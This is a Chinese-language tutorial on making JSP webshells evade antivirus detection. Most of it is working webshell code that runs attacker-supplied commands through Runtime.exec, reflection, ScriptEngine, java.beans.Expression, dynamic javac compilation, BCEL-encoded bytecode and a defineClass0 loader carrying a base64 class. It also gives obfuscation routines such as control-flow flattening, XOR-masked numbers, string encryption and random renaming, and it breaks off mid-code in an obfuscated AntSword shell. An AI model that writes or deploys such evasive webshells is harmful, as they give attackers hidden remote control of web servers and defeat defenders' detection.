浅谈JSP Webshell进阶免杀
字数 607 2025-08-09 09:46:33
JSP Webshell进阶免杀技术详解
0x00 简介
本文详细介绍了多种JSP Webshell的免杀技术,包括反射调用、控制流平坦化、异或加密、字符串加密、标识符随机命名等混淆手段,以及Javac动态编译、ScriptEngine调用、Expression类、BCEL字节码和defineClass0等高级免杀技术。
0x01 基础免杀技术
1. 从一句话木马开始
基础JSP一句话木马:
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
改进版(加入回显和编码处理):
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Runtime rt = Runtime.getRuntime();
String cmd = request.getParameter("cmd");
Process process = rt.exec(cmd);
java.io.InputStream in = process.getInputStream();
out.print("");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("");
%>
2. 反射调用免杀
使用反射调用Runtime类:
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String PASSWORD = "password";
String passwd = request.getParameter("pwd");
String cmd = request.getParameter("cmd");
if (!passwd.equals(PASSWORD)) return;
Class rt = Class.forName("java.lang.Runtime");
java.lang.reflect.Method gr = rt.getMethod("getRuntime");
java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null), cmd);
// 回显代码同上
%>
0x02 高级混淆技术
1. 控制流平坦化
将代码逻辑转换为switch块和分发器控制:
String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12";
String[] b = dispenserArr.split("\\|");
int index = 0;
// 声明所有变量
String passwd = null;
String cmd = null;
Class rt = null;
// ...其他变量声明
while (true) {
int op = Integer.parseInt(b[index++]);
switch (op) {
case 0: passwd = request.getParameter("pwd"); break;
case 1: cmd = request.getParameter("cmd"); break;
// ...其他case
}
}
打乱分发器顺序:
// 打乱分发器数组
String[] a = value.split("\\|");
for (int i = length; i > 0; i--) {
int randInd = rand.nextInt(i);
String temp = a[randInd];
a[randInd] = a[i - 1];
a[i - 1] = temp;
}
2. 异或加密数字
对数字进行异或加密:
Random random = new Random();
random.setSeed(System.currentTimeMillis());
for (IntegerLiteralExpr i : integers) {
int value = Integer.parseInt(i.getValue());
int key = random.nextInt(1000000) + 1000000;
int cipherNum = value ^ key;
// 构造 (cipherNum ^ key) 表达式
EnclosedExpr enclosedExpr = new EnclosedExpr();
BinaryExpr binaryExpr = new BinaryExpr();
binaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum)));
binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key)));
binaryExpr.setOperator(BinaryExpr.Operator.XOR);
enclosedExpr.setInner(binaryExpr);
i.replace(enclosedExpr);
}
3. 字符串加密
使用Base64+凯撒加密字符串:
// 加密算法
public static String encryption(String str, int offset) {
// 凯撒加密
char c;
StringBuilder str1 = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
c = str.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char)(((c - 'a') + offset) % 26 + 'a');
}
// 其他字符处理...
}
// Base64编码
return new sun.misc.BASE64Encoder().encode(str1.toString().getBytes());
}
// 解密算法(需嵌入JSP)
public static String dec(String str, int offset) {
try {
byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
str = new String(code);
// 凯撒解密...
return result;
} catch (Exception ignored) { return ""; }
}
4. 标识符随机命名
随机重命名所有变量和方法:
Map<String,String> vas = new HashMap<>();
List<VariableDeclarator> vaList = method.findAll(VariableDeclarator.class);
for(VariableDeclarator va:vaList){
String newName = RandomUtil.getRandomString(20);
vas.put(va.getNameAsString(), newName);
va.setName(newName);
}
// 更新引用
method.findAll(NameExpr.class).forEach(n->{
if(vas.containsKey(n.getNameAsString())){
n.setName(vas.get(n.getNameAsString()));
}
});
0x03 高级免杀技术
1. Javac动态编译
动态生成Java代码并编译执行:
<%@ page import="java.nio.file.Files,javax.tools.*" %>
<%
String tmpPath = Files.createTempDirectory("xxxxx").toFile().getPath();
JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();
// 动态生成Java代码
StringBuilder stringBuilder = new StringBuilder()
.append("public class Evil" + id + " {\n")
.append(" public static String result = \"\";\n")
.append(" public Evil" + id + "() throws Throwable {\n")
.append(" Process process = Runtime.getRuntime().exec(\"" + cmd + "\");\n")
// ...其他代码
.append(" }\n")
.append("}");
// 写入文件并编译
Files.write(Paths.get(tmpPath + File.separator + "Evil" + id + ".java"), stringBuilder.toString().getBytes());
Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Evil" + id + ".java");
javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call();
// 加载执行
new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Evil" + id).newInstance();
%>
2. ScriptEngine调用
利用JavaScript引擎执行命令:
<%@ page import="java.io.InputStream" %>
<%
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("JavaScript");
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("function test(){")
.append("importPackage(Packages.java.lang);\n")
.append("var cmd = request.getParameter(\"cmd\");")
.append("var x=java.lang.Runtime.getRuntime().exec(cmd);")
.append("return x.getInputStream();};")
.append("test();");
java.io.InputStream in = (InputStream) engine.eval(stringBuilder.toString());
// 处理回显...
%>
3. Expression类免杀
使用java.beans.Expression执行命令:
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
java.beans.Expression shell = new java.beans.Expression(
Runtime.getRuntime(), "exec", new Object[]{cmd});
java.io.InputStream in = ((Process)shell.getValue()).getInputStream();
// 处理回显...
%>
4. BCEL字节码免杀
静态BCEL:
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String bcelCode = "
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R
$$
Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86
$$
q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82
$$
$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0
$$
$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V
$$
ew$84$j6$a9$8e$fa$96$ac$X$b5To
$$
$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca
$$
$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90
$$
$83$bcT0$f8$b0$9eo$88$Z$r$fe
$$
$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A";
Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader = (ClassLoader) c.newInstance();
Class<?> clazz = loader.loadClass(bcelCode);
java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
Object obj = constructor.newInstance(cmd);
%>
动态ASM生成BCEL:
<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%
// 使用ASM动态生成类字节码
jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
// 定义类结构...
classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
// 定义字段和方法...
// 转换为BCEL格式
byte[] code = classWriter.toByteArray();
String byteCode = com.sun.org.apache.bcel.internal.classfile.Utility.encode(code, true);
byteCode = "
$$
BCEL
$$
" + byteCode;
// 加载执行...
%>
5. defineClass0免杀
利用Proxy类的defineClass0方法加载字节码:
<%!
public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
java.lang.reflect.Method method = java.lang.reflect.Proxy.class.getDeclaredMethod("defineClass0",
ClassLoader.class, String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
}
%>
<%
byte[] bytes = new sun.misc.BASE64Decoder().decodeBuffer("yv66vgAAADQAcQoAGwAvBwAwCgACAC8HADEHADIKADMANAoAMwA1CgA2ADcKAAUAOAoABAA5CgAEADoKAAIAOwgAPAoAAgA9CQAQAD4HAD8KAEAAQQgAQgoAQwBECgBFAEYKAEUARwcASAoAFgAvCgAWAEkJAEoASwoATABNBwBOAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAD8HAE8HADAHADEBAApFeGNlcHRpb25zBwBQAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAKU291cmNlRmlsZQEAEUJ5dGVDb2RlRXZpbC5qYXZhDAAeAFEBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBSDABTAFQMAFUAVgcAVwwAWABZDAAeAFoMAB4AWwwAXAAqDABdAF4BAAEKDAApACoMABwAHQEAGm9yZy9zZWMvc3RhcnQvQnl0ZUNvZGVFdmlsBwBfDABgAGEBABJCeXRlQ29kZUV2aWwuY2xhc3MHAGIMAGMAZAcAZQwAZgBnDABoAGkBABZzdW4vbWlzYy9CQVNFNjRFbmNvZGVyDABqAGsHAGwMAG0AbgcAbwwAcAAfAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAD2phdmEvbGFuZy9DbGFzcwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAE2dldFJlc291cmNlQXNTdHJlYW0BACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAAlhdmFpbGFibGUBAAMoKUkBAARyZWFkAQAFKFtCKUkBAAxlbmNvZGVCdWZmZXIBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuACEAEAAbAAAAAQAAABwAHQAAAAMAAQAeAB8AAgAgAAAAnAAGAAUAAABHKrcAAbsAAlm3AANNuwAEWbsABVm4AAYrtgAHtgAItwAJtwAKTi22AAtZOgTGABIsGQS2AAwSDbYADFen/+oqLLYADrUAD7EAAAACACEAAAAiAAIAAAAMAAQADQAMAA4AFAAPACUAEQAvABIAPgAUAEYAFQAiAAAAGwAC/wAlAAQHACMHACQHACUHACYAAPwAGAcAJAAnAAAABAABACgAAQApACoAAQAgAAAAdAABAAEAAAAFKrQAD7AAAAABACEAAAAGAAEAAAAYAAkAKwAsAAIAIAAAAGAAAgAFAAAAMBIQtgAREhK2ABNMK7YAFLwITSsstgAVV7sAFlm3ABdOLSy2ABg6BLIAGRkEtgAasQAAAAEAIQAAAB4ABwAAABwACwAdABIAHgAYAB8AIAAgACcAIQAvACIAJwAAAAQAAQAoAAEALQAAAAIALg==");
Class<?> testClass = defineByProxy("org/sec/start/ByteCodeEvil", bytes);
Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
%>
0x04 蚁剑免杀处理
对蚁剑Webshell进行混淆处理:
<%!
class VGakJDyicU extends ClassLoader {
VGakJDyicU(ClassLoader sjqhdnqocals) {
super(sjqhdnqocals);
// 添加无意义代码混淆
for (int ZCzmllUXtVEeZskSMJEz = 0; ZCzmllUXtVEeZskSMJEz < 10; ZCzmllUXtVEeZskSMJEz++) {
if (ZCzmllUXtVEeZskSMJEz == 7) break;
}
}
public Class qwer(byte[] dqwbdjk) {
// 添加无意义检查
if (dqwbdjk.length == 0) {
for (int Gsu